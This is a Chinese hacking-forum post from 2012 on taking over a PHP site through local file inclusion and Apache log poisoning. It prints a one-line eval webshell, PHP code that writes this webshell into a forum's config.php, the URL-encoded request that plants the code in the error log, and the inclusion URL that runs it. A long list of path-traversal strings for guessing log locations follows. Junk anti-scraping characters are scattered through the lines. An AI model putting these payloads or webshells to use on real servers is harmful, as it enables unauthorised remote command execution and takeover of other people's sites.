找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1932|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
  X6 }8 {2 Y; J1 P2 N' y4 h" s4 l  w! ^
比如还是这句一句话木马
/ e, D' E; h& s* z2 f; L<?eval($_POST[cmd]);?>   # z2 R7 P. X$ a9 t) ~

! S. _7 o9 L+ X& ~( k7 r+ f4 U到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, 4 g) c, `( l- w( e9 }% `; ^
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 & |- e7 k6 ]# \, B! ?
1 R9 v) |  m& M+ U: r' q& y5 V
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); " d9 m8 v4 A6 [# d) {
fclose($fp);?>   //在config.php里写入一句木马语句 3 I+ ]) l1 T4 h; {' M7 v$ Q

% D' l, L$ g1 x# m) _我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
$ }/ G( U9 Z" k' j; x2 a转换为
* v% \6 u$ m! t% |" w: O' h3 w%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F , {5 E9 D6 h$ Q
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 9 G% A& f6 c! V+ L/ n9 |; e9 |
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
6 [0 H) A7 D* U! u2 mfclose%28%24fp%29%3B%3F%3E
2 c0 n  X8 d# ]4 u& r/ M2 e我们提交 ' J1 `" A5 }3 q2 O
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 3 c' ?. c. Y6 v, ]
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
: {& i6 b. D' W9 k% w) N* }%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B % J6 d# i4 N9 d: ^8 o8 M0 Y
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 6 P$ n6 [' M& }, w, O
+ I4 d+ A# T3 v( |, L; p; n
这样就错误日志里就记录下了这行写入webshell的代码。 $ p3 F' o& y8 ~: U7 d
我们再来包含日志,提交 ; ]5 M0 \7 n0 c) |  y
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
0 V8 M, \4 R  T9 q/ Y" ?( b- J* |
$ J/ o* R! O8 @这样webshell就写入成功了,config.php里就写入一句木马语句
4 w1 \" D& V2 Z, TOK. ! O9 L& O; N6 E7 o6 D
http://www.xxx.com/forum/config.php这个就成了我们的webshell
6 I! D2 {$ _$ d* J" |直接用lanker的客户端一连,主机就是你的了。
. h- z3 D/ y5 b8 i( x% t' q/ u: z: S) K! j$ i1 w
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
- |' w+ l, K3 A+ h" r& G8 ~; A
# {% p( O1 ]) H7 s. Y7 R其他的日志路径,你可以去猜,也可以参照这里。
1 ~4 \5 E. o- x3 _../../../../../../../../../../var/log/httpd/access_log
  b4 j* v9 R2 a5 `../../../../../../../../../../var/log/httpd/error_log
$ _( M6 v4 w7 f! D../apache/logs/error.log
; P4 {, X# s+ S- V../apache/logs/access.log + U. H2 @' s$ q  \2 P. }
../../apache/logs/error.log
. k6 k4 i0 r  m* E0 a9 W../../apache/logs/access.log
9 r" d) w2 R7 E2 @3 V, s1 G9 s4 ^../../../apache/logs/error.log
3 p' J' R2 z- Y3 y! O# \: ]9 k../../../apache/logs/access.log 6 y' c$ Y' T6 @8 A, A4 r
../../../../../../../../../../etc/httpd/logs/acces_log 4 I- r" {; w. ?) m
../../../../../../../../../../etc/httpd/logs/acces.log   E+ _" s5 V# d( f% ^+ W5 X) K
../../../../../../../../../../etc/httpd/logs/error_log 8 \6 \6 o6 F3 P
../../../../../../../../../../etc/httpd/logs/error.log / f! C* f! w7 R0 |' n
../../../../../../../../../../var/www/logs/access_log . K8 i9 ]5 h9 a
../../../../../../../../../../var/www/logs/access.log % c+ @- G3 n3 L( n
../../../../../../../../../../usr/local/apache/logs/access_log
7 A* F# x" f1 L; L1 I../../../../../../../../../../usr/local/apache/logs/access.log
1 }. j' f) o; L/ t; I../../../../../../../../../../var/log/apache/access_log # _2 U5 u4 s  b- t; u( z) a
../../../../../../../../../../var/log/apache/access.log ) k% P' V9 z9 q& y" H$ r' u6 d+ O
../../../../../../../../../../var/log/access_log
* b0 s2 Z/ z: A  v: V3 @/ E../../../../../../../../../../var/www/logs/error_log
  X: `7 n: V( h' v# q7 x../../../../../../../../../../var/www/logs/error.log 1 P3 u3 G: M* R! Q2 V& f2 G# Y
../../../../../../../../../../usr/local/apache/logs/error_log
3 b. d" N" ]7 Y* Z% }  I7 _, N../../../../../../../../../../usr/local/apache/logs/error.log
$ V  b* t, Y/ y* x3 Z8 N../../../../../../../../../../var/log/apache/error_log $ L: o; |, D: X. u8 s/ H6 |. y1 p" F
../../../../../../../../../../var/log/apache/error.log
5 k2 M. ^: L% ]( a( e( ~../../../../../../../../../../var/log/access_log + F5 u: n0 s  @; Q1 g
../../../../../../../../../../var/log/error_log 9 E/ n+ E9 _0 Z
/var/log/httpd/access_log       $ K* |. h$ x  W* T7 n2 {
/var/log/httpd/error_log     9 S( g$ `3 A* W7 [' k
../apache/logs/error.log     
/ S( b, D$ g2 F../apache/logs/access.log
; L( w( P2 N  e' m../../apache/logs/error.log
2 A) i! G  V& a1 f$ i../../apache/logs/access.log 1 ?( x' |' l/ J) J& D- e1 b
../../../apache/logs/error.log
+ m" _- Q: I) J* S  c' O. J; c../../../apache/logs/access.log " A1 B: c5 f$ l; W% f  S
/etc/httpd/logs/acces_log
! M+ d# R5 z5 q/etc/httpd/logs/acces.log + ~8 m) A" C$ a4 e. t0 W0 q
/etc/httpd/logs/error_log
7 n  e9 K: n! K( n& |/etc/httpd/logs/error.log
, z6 U( W! @' A* g/var/www/logs/access_log * `; ~8 _# Q& F  U8 n* ^! a" W# F, S% J
/var/www/logs/access.log : m+ p3 K! R8 ]) @3 Z, c
/usr/local/apache/logs/access_log / ~  J! p' V4 l  E0 g
/usr/local/apache/logs/access.log
" z9 ^4 D9 z& X; T% I/var/log/apache/access_log
, h/ v  g! k8 L) L! f, \; T" q" D/var/log/apache/access.log
* U- e! h% e: `! u. p! L6 f/var/log/access_log
1 A! d1 a& h. K( Y3 m/var/www/logs/error_log
" {5 M- Z( u: L8 ^$ \/var/www/logs/error.log 0 {4 N+ i2 O/ \- _( p
/usr/local/apache/logs/error_log 2 m. Z% ^/ F, |  w
/usr/local/apache/logs/error.log
, |; C" @: f1 I$ X  D) E/var/log/apache/error_log / e: T/ K# S, m# \
/var/log/apache/error.log
' t3 f5 c+ \4 K1 U/var/log/access_log 5 j8 n  u5 e0 r* t6 E: p: Q' q
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表